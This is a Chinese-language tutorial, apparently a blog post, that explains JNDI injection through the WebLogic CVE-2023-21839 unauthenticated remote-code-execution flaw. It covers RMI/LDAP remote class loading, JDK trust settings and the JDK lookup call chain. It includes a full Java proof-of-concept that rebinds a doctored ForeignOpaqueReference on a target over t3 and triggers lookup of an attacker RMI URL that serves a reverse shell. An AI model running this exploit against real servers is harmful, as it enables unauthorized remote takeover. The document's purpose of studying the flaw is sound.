前言

本篇文章初衷是在研究log4j2漏洞时候找不到一篇完整且能够真正让我理解漏洞根因的文章，导致我想写一篇通俗易懂能理解到底啥是JNDI注入，怎么lookup的。

当然不排除国外英文文章有很好的解释，但是我更希望有中文版本。

JNDI 注入简单理解

JNDI (Java Naming and Directory Interface)

JNDI注入可以归纳为后台在执行代码的时候，最终会执行到lookup函数，然后lookup函数传入的值是我们在请求或者其他方式能够控制的一个变量，再者lookup支持远程方法调用（RMI）、轻型目录访问协议（LDAP）、域名服务（DNS）。

定眼一看RMI、LDAP、DNS，肾上腺素拉满，这仨都可以配合JNDI注入进行(lookup)漏洞利用攻击。 所以这也就是为啥有很多攻击方式为：JNDI+RMI、JNDI+LDAP、JNDI+DNS，最具杀伤力的自然是rmi和ldap协议，能够远程绑定对象执行代码。（这里别蒙圈，知道这俩协议配合JNDI能够远程执行代码即可）

通常测试是否存在JNDI注入漏洞的话可以先用DNS探测一下是否有回显，有的话才好进行下一步的攻击。
还有一个公共对象请求代理体系结构（CORBA）

透过Weblogic漏洞深入理解

该漏洞为：Weblogic未授权远程代码执行漏洞(CVE-2023-21839)

下面的源码分析都围绕23年Weblogic的一个未授权远程代码执行漏洞来解释怎么RMI和LDAP攻击，这也是为啥我不满意网上大部分文章的原因，没有结合一个具体的漏洞去解释这俩协议。
(纯属个人观点，毕竟还是参考了很多大佬文章的，各位道友轻点喷)

• 漏洞原理
  假如你不理解下面要概括的漏洞原理的话那就也莫慌，你只需要知道最终触发的还是lookup函数即可，上面的解释就是为了你在朋友面前装13的而已，显得你很牛13。
  漏洞可以概括为：因为weblogic支持t3和iiop协议绑定远程对象，然后绑定的远程对象是ForeignOpaqueReferent的话，客户端通过jndi查询的时候，服务端其实是调用了远程对象的getRefernet函数进行实例化，然后在这个函数里面进行了lookup查找，查找的是remoteJNDIName，这个就是漏洞点，我们可以通过反射机制修改这个remoteJNDIName，也就是说可以控制使用rmi或者ldap协议进行远程执行代码。

注：！！！补充，这个weblogic漏洞是你绑定对象后主动的进行lookup查询，然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload。

RMI与LDAP的区别

RMI和LDAP的区别其实就是安全限制有最大的不同，两个协议用起来都是需要加载恶意类到本地执行命令。
(区别就是：RMI/LDAP远程对象引用安全限制存在差异)

参考文章：
https://myzxcg.com/2021/10/Java-JNDI分析与利用/#jndi-目录服务

↓↓↓↓↓↓里面有写一段，解决了我的对两个协议的疑惑：↓↓↓↓↓↓

1. RMI
   在RMI服务中引用远程对象将受本地Java环境限制，本地的java.rmi.server.useCodebaseOnly配置如果为true(禁止引用远程对象)，为false则允许加载远程类文件。
   
   除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制，如果该值为false(不信任远程引用对象)，一样无法调用远程的引用对象。

• JDK5u45、JDK6u45、JDK7u21、JDK8u121开始，java.rmi.server.useCodebaseOnly默认值改为了true。
• JDK6u132、JDK7u122、JDK8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值改为了 false。
  本地测试远程对象引用可以使用如下方式允许加载远程的引用对象
  System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

2. LDAP
   LDAP也在JDK6u211、7u201、8u191、11.0.1后将com.sun.jndi.ldap.object.trustURLCodebase的默认设置为了false。（但不受java.rmi.server.useCodebaseOnly影响）

JNDI+RMI

如果你看懂了上面的并且觉得够了且已经理解了，那么就无需看下面分析了，因为这里我写的原因就是因为不相信别人说的，我才希望真正看到是不是真的能够进行JNDI注入lookup进行攻击。

• Weblogic未授权远程代码执行(CVE-2023-21839)的源码分析，使用RMI攻击。
  分析前要记住一点：Weblogic t3/iiop协议支持远程绑定对象bind到服务端

  • 允许绑定对象这一点很重要，既然允许绑定对象，那么我们就需要找一个能够触发lookup且变量可控的类去绑定，这样我们才能够实现JNDI注入攻击。

• 巧的是：当远程对象继承自OpaqueReference时，lookup查看远程对象，查询的变量是remoteJNDIName(可通过反射机制控制)。
  这里又发现一篇文章写得不错，我参考了一二：https://g1asssy.com/2024/01/31/CVE_2024_20931/
  ↓↓↓↓↓↓其中有一段解释的很好↓↓↓↓↓↓

  利用步骤大致分为三步:

  1. 建立一个恶意ForeignOpaqueReference对象，并将remoteJNDIName设置为远程恶意JNDI服务。
  2. 通过T3 \ IIOP协议在WLS上绑定该恶意对象。
  3. 通过lookup查询该恶意对象，触发ForeignOpaqueReference.getReferent的调用，从而造成恶意JNDI注入。

  通过lookup查询该恶意对象：这句话意思是你绑定服务器端后能够在poc中自己决定是否拿着这个类去lookup触发，这也就是为啥我选weblogic这个漏洞来解释的原因，他的poc就是你自己来决定绑定后是否进行lookup攻击的，很直接了当告诉你就是lookup触发的，别不信，你自己决定是否lookup攻击。
  注：！！！我还要再次补充就是，这个weblogic漏洞是你绑定对象后主动的进行lookup查询，然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload。

漏洞代码触发链

参考文章：https://xz.aliyun.com/t/12297
下图为：ForeignOpaqueReference的父类OpaqueReference，可以看到里面存在getReferent函数，这个函数跟进去就有触发lookup。

1. jndiEnvironment不为空，就能初始化好我们的var4。
2. 控制remoteJNDIName变量就能够进行远程代码执行
   (将值换成我们的RMI或者LDAP协议进行攻击)

然而以上的条件都可以通过编写脚本用反射机制拿到变量进行修改，说白了就是在lookup查询你绑定好的对象时，就会调用ForeignOpaqueReference.getReferent()，然后就去触发受害端后台的lookup，接着执行你控制好的remoteJNDIName，所以这里我们只要控制var4与this.remoteJNDIName就能造成jndi注入。

• 引入依赖

<dependency>
    <groupId>weblogic</groupId>
    <artifactId>wlfullclient</artifactId>
    <version>0.1</version>
</dependency>
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>spring</artifactId>
    <version>0.1</version>
</dependency>
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>logging</artifactId>
    <version>0.1</version>
</dependency>

• 主代码
  注意先进行反射机制拿到变量jndiEnvironment 和remoteJNDIName ，然后设置好值后，远程绑定ForeignOpaqueReference对象，然后才是你主动的去进行 lookup查询ForeignOpaqueReference对象，这一步主动lookup是为了受害端去getReferent 然后触发lookup去get你的恶意payload进行实例化造成攻击。
  ps：上面加深的这句 "这一步主动lookup是为了受害端去getReferent 然后触发lookup去get你的恶意payload进行实例化造成攻击" ，看不懂可以接下去看lookup触发链。
  （我已大彻大悟，不知道友悟到没。）

import weblogic.deployment.jms.ForeignOpaqueReference;
import weblogic.iiop.IOPProfile;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class CVE_2023_21839 {
    public static void main(String[] args) throws Exception {
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

        // 创建用来远程绑定对象的InitialContext
        String url = "t3://192.168.135.129:7001"; // 目标机器
        Hashtable env1 = new Hashtable();
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env1.put(Context.PROVIDER_URL, url); // 目标
        InitialContext c = new InitialContext(env1);

        // ForeignOpaqueReference的jndiEnvironment属性
        Hashtable env2 = new Hashtable();
        env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

        // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
        ForeignOpaqueReference f = new ForeignOpaqueReference();
        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f, env2);
        Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        String rmi= "rmi://192.168.135.1:1389/Basic/ReverseShell/192.168.135.1/7777";
        remoteJNDIName.set(f, rmi);

        // 远程绑定ForeignOpaqueReference对象
        c.rebind("sectest", f);

        // lookup查询ForeignOpaqueReference对象
        try {
            c.lookup("sectest");
        } catch (Exception e) {
        }
    }
}

lookup触发链

OK上面就是weblogic漏洞未授权远程代码执行的一个主要漏洞根因，下面介绍的是知道了进行lookup后，lookup是怎么加载恶意payload的过程。
这里有一个lookup进行实例化对象的调用栈
(从下JNDI_Test的函类开始往上看)

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
getObjectInstance:319, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
↑↑↑↑↑↑
lookup:411, InitialContext (javax.naming)
↑↑↑↑↑↑
main:7, JNDI_Test (demo)

再往深了讲getObjectFactoryFromReference就是最终的罪魁祸首。
其他调用过程就不讲了，有感兴趣可以看参考文章：https://xz.aliyun.com/t/12297
接着讲：getObjectFactoryFromReference干了啥，以下是他的源码部分
其中

1. clas = helper.loadClass(factoryName);尝试从本地加载Factory类
2. clas = helper.loadClass(factoryName, codebase);从远程加载我们恶意class
3. return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
   最后会返回加载好的class。
4. 如果你还要看loadClass里面怎么加载的，在参考文章中也有告诉我就是：URLClassLoader来加载我们的恶意类。

static ObjectFactory getObjectFactoryFromReference(
    Reference ref, String factoryName)
    throws IllegalAccessException,
    InstantiationException,
    MalformedURLException {
    Class clas = null;

    // Try to use current class loader
    try {
         clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.

    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

至此，历尽千辛万苦，透过一个23年的weblogic漏洞分析JNDI到此结束。

JNDI+LDAP

同理RMI，就是有版本的安全配置限制，上面也讲了两个协议的区别，但实质都是通过加载恶意类来攻击的。

身为散修就这么生硬的解释，道友莫怪。
感谢看到这里的道友~